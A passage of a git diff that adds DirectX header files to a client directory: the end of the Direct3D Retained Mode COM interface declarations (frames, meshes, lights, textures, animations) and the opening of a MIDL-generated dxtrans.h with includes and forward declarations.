LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(GetTransform)(THIS_ D3DRMMATRIX4D return_matrix) PURE; + STDMETHOD(GetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_velocity, BOOL with_rotation) PURE; + STDMETHOD(GetOrientation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR dir, LPD3DVECTOR up) PURE; + STDMETHOD(GetVisuals)(THIS_ LPDIRECT3DRMVISUALARRAY *visuals) PURE; + STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE; + STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE; + STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg)PURE; + STDMETHOD(LookAt)(THIS_ LPDIRECT3DRMFRAME target, LPDIRECT3DRMFRAME reference, D3DRMFRAMECONSTRAINT) PURE; + STDMETHOD(Move)(THIS_ D3DVALUE delta) PURE; + STDMETHOD(DeleteChild)(THIS_ LPDIRECT3DRMFRAME) PURE; + STDMETHOD(DeleteLight)(THIS_ LPDIRECT3DRMLIGHT) PURE; + STDMETHOD(DeleteMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE; + STDMETHOD(DeleteVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE; + STDMETHOD_(D3DCOLOR, GetSceneBackground)(THIS) PURE; + STDMETHOD(GetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE *) PURE; + STDMETHOD_(D3DCOLOR, GetSceneFogColor)(THIS) PURE; + STDMETHOD_(BOOL, GetSceneFogEnable)(THIS) PURE; + STDMETHOD_(D3DRMFOGMODE, GetSceneFogMode)(THIS) PURE; + STDMETHOD(GetSceneFogParams)(THIS_ D3DVALUE *return_start, D3DVALUE *return_end, D3DVALUE *return_density) PURE; + STDMETHOD(SetSceneBackground)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetSceneBackgroundRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD(SetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE) PURE; + STDMETHOD(SetSceneBackgroundImage)(THIS_ LPDIRECT3DRMTEXTURE) PURE; + STDMETHOD(SetSceneFogEnable)(THIS_ BOOL) PURE; + STDMETHOD(SetSceneFogColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetSceneFogMode)(THIS_ D3DRMFOGMODE) PURE; + STDMETHOD(SetSceneFogParams)(THIS_ D3DVALUE start, D3DVALUE end, D3DVALUE density) PURE; + STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD_(D3DRMZBUFFERMODE, GetZbufferMode)(THIS) PURE; + STDMETHOD(SetMaterialMode)(THIS_ D3DRMMATERIALMODE) PURE; + STDMETHOD(SetOrientation)(THIS_ LPDIRECT3DRMFRAME r, D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,D3DVALUE ux,D3DVALUE uy,D3DVALUE uz) PURE; + STDMETHOD(SetPosition)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(SetRotation)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE; + STDMETHOD(SetSortMode)(THIS_ D3DRMSORTMODE) PURE; + STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE; + STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE; + STDMETHOD(SetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, BOOL with_rotation) PURE; + STDMETHOD(SetZbufferMode)(THIS_ D3DRMZBUFFERMODE) PURE; + STDMETHOD(Transform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMMesh +DECLARE_INTERFACE_(IDirect3DRMMesh, IDirect3DRMVisual) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE; + STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE; + STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE; + STDMETHOD(AddGroup)(THIS_ unsigned vCount, unsigned fCount, unsigned vPerFace, unsigned *fData, D3DRMGROUPINDEX *returnId) PURE; + STDMETHOD(SetVertices)(THIS_ D3DRMGROUPINDEX id, unsigned index, unsigned count, D3DRMVERTEX *values) PURE; + STDMETHOD(SetGroupColor)(THIS_ D3DRMGROUPINDEX id, D3DCOLOR value) PURE; + STDMETHOD(SetGroupColorRGB)(THIS_ D3DRMGROUPINDEX id, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD(SetGroupMapping)(THIS_ D3DRMGROUPINDEX id, D3DRMMAPPING value) PURE; + STDMETHOD(SetGroupQuality)(THIS_ D3DRMGROUPINDEX id, D3DRMRENDERQUALITY value) PURE; + STDMETHOD(SetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL value) PURE; + STDMETHOD(SetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE value) PURE; + STDMETHOD_(unsigned, GetGroupCount)(THIS) PURE; + STDMETHOD(GetGroup)(THIS_ D3DRMGROUPINDEX id, unsigned *vCount, unsigned *fCount, unsigned *vPerFace, DWORD *fDataSize, unsigned *fData) PURE; + STDMETHOD(GetVertices)(THIS_ D3DRMGROUPINDEX id, DWORD index, DWORD count, D3DRMVERTEX *returnPtr) PURE; + STDMETHOD_(D3DCOLOR, GetGroupColor)(THIS_ D3DRMGROUPINDEX id) PURE; + STDMETHOD_(D3DRMMAPPING, GetGroupMapping)(THIS_ D3DRMGROUPINDEX id) PURE; + STDMETHOD_(D3DRMRENDERQUALITY, GetGroupQuality)(THIS_ D3DRMGROUPINDEX id) PURE; + STDMETHOD(GetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL *returnPtr) PURE; + STDMETHOD(GetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE *returnPtr) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMShadow +DECLARE_INTERFACE_(IDirect3DRMShadow, IDirect3DRMVisual) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Init) + ( THIS_ LPDIRECT3DRMVISUAL visual, LPDIRECT3DRMLIGHT light, + D3DVALUE px, D3DVALUE py, D3DVALUE pz, + D3DVALUE nx, D3DVALUE ny, D3DVALUE nz + ) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMFace +DECLARE_INTERFACE_(IDirect3DRMFace, IDirect3DRMObject) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(AddVertexAndNormalIndexed)(THIS_ DWORD vertex, DWORD normal) PURE; + STDMETHOD(SetColorRGB)(THIS_ D3DVALUE, D3DVALUE, D3DVALUE) PURE; + STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE; + STDMETHOD(SetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE u, D3DVALUE v) PURE; + STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE; + STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE; + STDMETHOD(GetVertex)(THIS_ DWORD index, D3DVECTOR *vertex, D3DVECTOR *normal) PURE; + STDMETHOD(GetVertices)(THIS_ DWORD *vertex_count, D3DVECTOR *coords, D3DVECTOR *normals); + STDMETHOD(GetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE *u, D3DVALUE *v) PURE; + STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE; + STDMETHOD(GetNormal)(THIS_ D3DVECTOR *) PURE; + STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(GetMaterial)(THIS_ LPDIRECT3DRMMATERIAL *) PURE; + STDMETHOD_(int, GetVertexCount)(THIS) PURE; + STDMETHOD_(int, GetVertexIndex)(THIS_ DWORD which) PURE; + STDMETHOD_(int, GetTextureCoordinateIndex)(THIS_ DWORD which) PURE; + STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMMeshBuilder +DECLARE_INTERFACE_(IDirect3DRMMeshBuilder, IDirect3DRMVisual) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg) PURE; + STDMETHOD(Save)(THIS_ const char *filename, D3DRMXOFFORMAT, D3DRMSAVEOPTIONS save) PURE; + STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE; + STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE; + STDMETHOD(SetColorSource)(THIS_ D3DRMCOLORSOURCE) PURE; + STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE; + STDMETHOD(GenerateNormals)(THIS) PURE; + STDMETHOD_(D3DRMCOLORSOURCE, GetColorSource)(THIS) PURE; + STDMETHOD(AddMesh)(THIS_ LPDIRECT3DRMMESH) PURE; + STDMETHOD(AddMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER) PURE; + STDMETHOD(AddFrame)(THIS_ LPDIRECT3DRMFRAME) PURE; + STDMETHOD(AddFace)(THIS_ LPDIRECT3DRMFACE) PURE; + STDMETHOD(AddFaces) + ( THIS_ DWORD vcount, D3DVECTOR *vertices, DWORD ncount, D3DVECTOR *normals, + DWORD *data, LPDIRECT3DRMFACEARRAY* + ) PURE; + STDMETHOD(ReserveSpace)(THIS_ DWORD vertex_Count, DWORD normal_count, DWORD face_count) PURE; + STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE; + STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE; + STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE; + STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE; + STDMETHOD(SetPerspective)(THIS_ BOOL) PURE; + STDMETHOD(SetVertex)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(SetNormal)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(SetTextureCoordinates)(THIS_ DWORD index, D3DVALUE u, D3DVALUE v) PURE; + STDMETHOD(SetVertexColor)(THIS_ DWORD index, D3DCOLOR) PURE; + STDMETHOD(SetVertexColorRGB)(THIS_ DWORD index, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD(GetFaces)(THIS_ LPDIRECT3DRMFACEARRAY*) PURE; + STDMETHOD(GetVertices) + ( THIS_ DWORD *vcount, D3DVECTOR *vertices, DWORD *ncount, D3DVECTOR *normals, DWORD *face_data_size, DWORD *face_data + ) PURE; + STDMETHOD(GetTextureCoordinates)(THIS_ DWORD index, D3DVALUE *u, D3DVALUE *v) PURE; + STDMETHOD_(int, AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD_(int, AddNormal)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(CreateFace)(THIS_ LPDIRECT3DRMFACE*) PURE; + STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE; + STDMETHOD_(BOOL, GetPerspective)(THIS) PURE; + STDMETHOD_(int, GetFaceCount)(THIS) PURE; + STDMETHOD_(int, GetVertexCount)(THIS) PURE; + STDMETHOD_(D3DCOLOR, GetVertexColor)(THIS_ DWORD index) PURE; + STDMETHOD(CreateMesh)(THIS_ LPDIRECT3DRMMESH*) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMLight +DECLARE_INTERFACE_(IDirect3DRMLight, IDirect3DRMObject) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(SetType)(THIS_ D3DRMLIGHTTYPE) PURE; + STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD(SetRange)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetUmbra)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetPenumbra)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetConstantAttenuation)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetLinearAttenuation)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetQuadraticAttenuation)(THIS_ D3DVALUE) PURE; + STDMETHOD_(D3DVALUE, GetRange)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetUmbra)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetPenumbra)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetConstantAttenuation)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetLinearAttenuation)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetQuadraticAttenuation)(THIS) PURE; + STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE; + STDMETHOD_(D3DRMLIGHTTYPE, GetType)(THIS) PURE; + STDMETHOD(SetEnableFrame)(THIS_ LPDIRECT3DRMFRAME) PURE; + STDMETHOD(GetEnableFrame)(THIS_ LPDIRECT3DRMFRAME*) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMTexture +DECLARE_INTERFACE_(IDirect3DRMTexture, IDirect3DRMVisual) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(InitFromFile)(THIS_ const char *filename) PURE; + STDMETHOD(InitFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS) PURE; + STDMETHOD(InitFromResource)(THIS_ HRSRC) PURE; + STDMETHOD(Changed)(THIS_ BOOL pixels, BOOL palette) PURE; + STDMETHOD(SetColors)(THIS_ DWORD) PURE; + STDMETHOD(SetShades)(THIS_ DWORD) PURE; + STDMETHOD(SetDecalSize)(THIS_ D3DVALUE width, D3DVALUE height) PURE; + STDMETHOD(SetDecalOrigin)(THIS_ LONG x, LONG y) PURE; + STDMETHOD(SetDecalScale)(THIS_ DWORD) PURE; + STDMETHOD(SetDecalTransparency)(THIS_ BOOL) PURE; + STDMETHOD(SetDecalTransparentColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(GetDecalSize)(THIS_ D3DVALUE *width_return, D3DVALUE *height_return) PURE; + STDMETHOD(GetDecalOrigin)(THIS_ LONG *x_return, LONG *y_return) PURE; + STDMETHOD_(D3DRMIMAGE *, GetImage)(THIS) PURE; + STDMETHOD_(DWORD, GetShades)(THIS) PURE; + STDMETHOD_(DWORD, GetColors)(THIS) PURE; + STDMETHOD_(DWORD, GetDecalScale)(THIS) PURE; + STDMETHOD_(BOOL, GetDecalTransparency)(THIS) PURE; + STDMETHOD_(D3DCOLOR, GetDecalTransparentColor)(THIS) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMWrap +DECLARE_INTERFACE_(IDirect3DRMWrap, IDirect3DRMObject) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Init) + ( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME ref, + D3DVALUE ox, D3DVALUE oy, D3DVALUE oz, + D3DVALUE dx, D3DVALUE dy, D3DVALUE dz, + D3DVALUE ux, D3DVALUE uy, D3DVALUE uz, + D3DVALUE ou, D3DVALUE ov, + D3DVALUE su, D3DVALUE sv + ) PURE; + STDMETHOD(Apply)(THIS_ LPDIRECT3DRMOBJECT) PURE; + STDMETHOD(ApplyRelative)(THIS_ LPDIRECT3DRMFRAME frame, LPDIRECT3DRMOBJECT) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMMaterial +DECLARE_INTERFACE_(IDirect3DRMMaterial, IDirect3DRMObject) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(SetPower)(THIS_ D3DVALUE power) PURE; + STDMETHOD(SetSpecular)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE; + STDMETHOD(SetEmissive)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE; + STDMETHOD_(D3DVALUE, GetPower)(THIS) PURE; + STDMETHOD(GetSpecular)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE; + STDMETHOD(GetEmissive)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMAnimation +DECLARE_INTERFACE_(IDirect3DRMAnimation, IDirect3DRMObject) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(SetOptions)(THIS_ D3DRMANIMATIONOPTIONS flags) PURE; + STDMETHOD(AddRotateKey)(THIS_ D3DVALUE time, D3DRMQUATERNION *q) PURE; + STDMETHOD(AddPositionKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(AddScaleKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(DeleteKey)(THIS_ D3DVALUE time) PURE; + STDMETHOD(SetFrame)(THIS_ LPDIRECT3DRMFRAME frame) PURE; + STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE; + STDMETHOD_(D3DRMANIMATIONOPTIONS, GetOptions)(THIS) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMAnimationSet +DECLARE_INTERFACE_(IDirect3DRMAnimationSet, IDirect3DRMObject) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(AddAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE; + STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg, LPDIRECT3DRMFRAME parent)PURE; + STDMETHOD(DeleteAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE; + STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMUserVisual +DECLARE_INTERFACE_(IDirect3DRMUserVisual, IDirect3DRMVisual) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Init)(THIS_ D3DRMUSERVISUALCALLBACK fn, void *arg) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMArray +DECLARE_INTERFACE_(IDirect3DRMArray, IUnknown) { + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMDeviceArray +DECLARE_INTERFACE_(IDirect3DRMDeviceArray, IDirect3DRMArray) { + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMDEVICE *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMFrameArray +DECLARE_INTERFACE_(IDirect3DRMFrameArray, IDirect3DRMArray) { + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFRAME *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMViewportArray +DECLARE_INTERFACE_(IDirect3DRMViewportArray, IDirect3DRMArray) +{ + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVIEWPORT *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMVisualArray +DECLARE_INTERFACE_(IDirect3DRMVisualArray, IDirect3DRMArray) { + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMPickedArray +DECLARE_INTERFACE_(IDirect3DRMPickedArray, IDirect3DRMArray) { + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetPick)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *, LPDIRECT3DRMFRAMEARRAY *, LPD3DRMPICKDESC) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMLightArray +DECLARE_INTERFACE_(IDirect3DRMLightArray, IDirect3DRMArray) { + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMLIGHT *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMFaceArray +DECLARE_INTERFACE_(IDirect3DRMFaceArray, IDirect3DRMArray) { + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFACE *) PURE; +}; +#endif diff --git a/client/dxtrans.h b/client/dxtrans.h new file mode 100644 index 0000000..8df2ff7 --- /dev/null +++ b/client/dxtrans.h @@ -0,0 +1,5362 @@ + +#pragma warning( disable: 4049 ) /* more than 64k source lines */ + +/* this ALWAYS GENERATED file contains the definitions for the interfaces */ + + + /* File created by MIDL compiler version 6.00.0357 */ +/* Compiler settings for dxtrans.idl: + Oicf, W1, Zp8, env=Win32 (32b run) + protocol : dce , ms_ext, c_ext + error checks: allocation ref bounds_check enum stub_data + VC __declspec() decoration level: + __declspec(uuid()), __declspec(selectany), __declspec(novtable) + DECLSPEC_UUID(), MIDL_INTERFACE() +*/ +//@@MIDL_FILE_HEADING( ) + + +/* verify that the version is high enough to compile this file*/ +#ifndef __REQUIRED_RPCNDR_H_VERSION__ +#define __REQUIRED_RPCNDR_H_VERSION__ 440 +#endif + +#include "rpc.h" +#include "rpcndr.h" + +#ifndef __RPCNDR_H_VERSION__ +#error this stub requires an updated version of +#endif // __RPCNDR_H_VERSION__ + +#ifndef COM_NO_WINDOWS_H +#include "windows.h" +#include "ole2.h" +#endif /*COM_NO_WINDOWS_H*/ + +#ifndef __dxtrans_h__ +#define __dxtrans_h__ + +#if defined(_MSC_VER) && (_MSC_VER >= 1020) +#pragma once +#endif + +/* Forward Declarations */ + +#ifndef __IDXBaseObject_FWD_DEFINED__ +#define __IDXBaseObject_FWD_DEFINED__ +typedef interface IDXBaseObject IDXBaseObject; +#endif /* __IDXBaseObject_FWD_DEFINED__ */ + + +#ifndef __IDXTransformFactory_FWD_DEFINED__ +#define __IDXTransformFactory_FWD_DEFINED__ +typedef interface IDXTransformFactory IDXTransformFactory; +#endif /* __IDXTransformFactory_FWD_DEFINED__ */ + + +#ifndef __IDXTransform_FWD_DEFINED__ +#define __IDXTransform_FWD_DEFINED__ +typedef interface IDXTransform IDXTransform; +#endif /* __IDXTransform_FWD_DEFINED__ */ + + +#ifndef __IDXSurfacePick_FWD_DEFINED__ +#define __IDXSurfacePick_FWD_DEFINED__ +typedef interface IDXSurfacePick IDXSurfacePick; +#endif /* __IDXSurfacePick_FWD_DEFINED__ */ + + +#ifndef __IDXTBindHost_FWD_DEFINED__ +#define __IDXTBindHost_FWD_DEFINED__ +typedef interface IDXTBindHost IDXTBindHost; +#endif /* __IDXTBindHost_FWD_DEFINED__ */ + + +#ifndef __IDXTaskManager_FWD_DEFINED__ +#define __IDXTaskManager_FWD_DEFINED__ +typedef interface IDXTaskManager IDXTaskManager; +#endif /* __IDXTaskManager_FWD_DEFINED__ */ + + +#ifndef __IDXSurfaceFactory_FWD_DEFINED__ +#define __IDXSurfaceFactory_FWD_DEFINED__ +typedef interface IDXSurfaceFactory IDXSurfaceFactory; +#endif /* __IDXSurfaceFactory_FWD_DEFINED__ */ + + +#ifndef __IDXSurfaceModifier_FWD_DEFINED__ +#define __IDXSurfaceModifier_FWD_DEFINED__ +typedef interface IDXSurfaceModifier IDXSurfaceModifier; +#endif /* __IDXSurfaceModifier_FWD_DEFINED__ */ + + +#ifndef __IDXSurface_FWD_DEFINED__ +#define __IDXSurface_FWD_DEFINED__ +typedef interface IDXSurface IDXSurface; +#endif /* __IDXSurface_FWD_DEFINED__ */ + + +#ifndef __IDXSurfaceInit_FWD_DEFINED__ +#define __IDXSurfaceInit_FWD_DEFINED__ +typedef interface IDXSurfaceInit IDXSurfaceInit; +#endif /* __IDXSurfaceInit_FWD_DEFINED__ */ + + +#ifndef __IDXARGBSurfaceInit_FWD_DEFINED__ +#define __IDXARGBSurfaceInit_FWD_DEFINED__ +typedef interface IDXARGBSurfaceInit IDXARGBSurfaceInit; +#endif /* __IDXARGBSurfaceInit_FWD_DEFINED__ */ + + +#ifndef __IDXARGBReadPtr_FWD_DEFINED__ +#define __IDXARGBReadPtr_FWD_DEFINED__ +typedef interface IDXARGBReadPtr IDXARGBReadPtr; +#endif /* __IDXARGBReadPtr_FWD_DEFINED__ */ + + +#ifndef __IDXARGBReadWritePtr_FWD_DEFINED__ +#define __IDXARGBReadWritePtr_FWD_DEFINED__ +typedef interface IDXARGBReadWritePtr IDXARGBReadWritePtr; +#endif /* __IDXARGBReadWritePtr_FWD_DEFINED__ */ + + +#ifndef __IDXDCLock_FWD_DEFINED__ +#define __IDXDCLock_FWD_DEFINED__ +typedef interface IDXDCLock IDXDCLock; +#endif /* __IDXDCLock_FWD_DEFINED__ */ + + +#ifndef __IDXTScaleOutput_FWD_DEFINED__ +#define __IDXTScaleOutput_FWD_DEFINED__ +typedef interface IDXTScaleOutput IDXTScaleOutput; +#endif /* __IDXTScaleOutput_FWD_DEFINED__ */ + + +#ifndef __IDXGradient_FWD_DEFINED__ +#define __IDXGradient_FWD_DEFINED__ +typedef interface IDXGradient IDXGradient; +#endif /* __IDXGradient_FWD_DEFINED__ */ + + +#ifndef __IDXTScale_FWD_DEFINED__ +#define __IDXTScale_FWD_DEFINED__ +typedef interface IDXTScale IDXTScale; +#endif /* __IDXTScale_FWD_DEFINED__ */ + + +#ifndef __IDXEffect_FWD_DEFINED__ +#define __IDXEffect_FWD_DEFINED__ +typedef interface IDXEffect IDXEffect; +#endif /* __IDXEffect_FWD_DEFINED__ */ + + +#ifndef __IDXLookupTable_FWD_DEFINED__ +#define __IDXLookupTable_FWD_DEFINED__ +typedef interface IDXLookupTable IDXLookupTable; +#endif /* __IDXLookupTable_FWD_DEFINED__ */ + + +#ifndef __IDXRawSurface_FWD_DEFINED__ +#define __IDXRawSurface_FWD_DEFINED__ +typedef interface IDXRawSurface IDXRawSurface; +#endif /* __IDXRawSurface_FWD_DEFINED__ */ + + +#ifndef __IHTMLDXTransform_FWD_DEFINED__ +#define __IHTMLDXTransform_FWD_DEFINED__ +typedef interface IHTMLDXTransform IHTMLDXTransform; +#endif /* __IHTMLDXTransform_FWD_DEFINED__ */ + + +#ifndef __ICSSFilterDispatch_FWD_DEFINED__ +#define __ICSSFilterDispatch_FWD_DEFINED__ +typedef interface ICSSFilterDispatch ICSSFilterDispatch; +#endif /* __ICSSFilterDispatch_FWD_DEFINED__ */ + + +#ifndef __DXTransformFactory_FWD_DEFINED__ +#define __DXTransformFactory_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DXTransformFactory DXTransformFactory; +#else +typedef struct DXTransformFactory DXTransformFactory; +#endif /* __cplusplus */ + +#endif /* __DXTransformFactory_FWD_DEFINED__ */ + + +#ifndef __DXTaskManager_FWD_DEFINED__ +#define __DXTaskManager_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DXTaskManager DXTaskManager; +#else +typedef struct DXTaskManager DXTaskManager; +#endif /* __cplusplus */ + +#endif /* __DXTaskManager_FWD_DEFINED__ */ + + +#ifndef __DXTScale_FWD_DEFINED__ +#define __DXTScale_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DXTScale DXTScale; +#else +typedef struct DXTScale DXTScale; +#endif /* __cplusplus */ + +#endif /* __DXTScale_FWD_DEFINED__ */ + + +#ifndef __DXSurface_FWD_DEFINED__ +#define __DXSurface_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DXSurface DXSurface; +#else +typedef struct DXSurface DXSurface; +#endif /* __cplusplus */ + +#endif /* 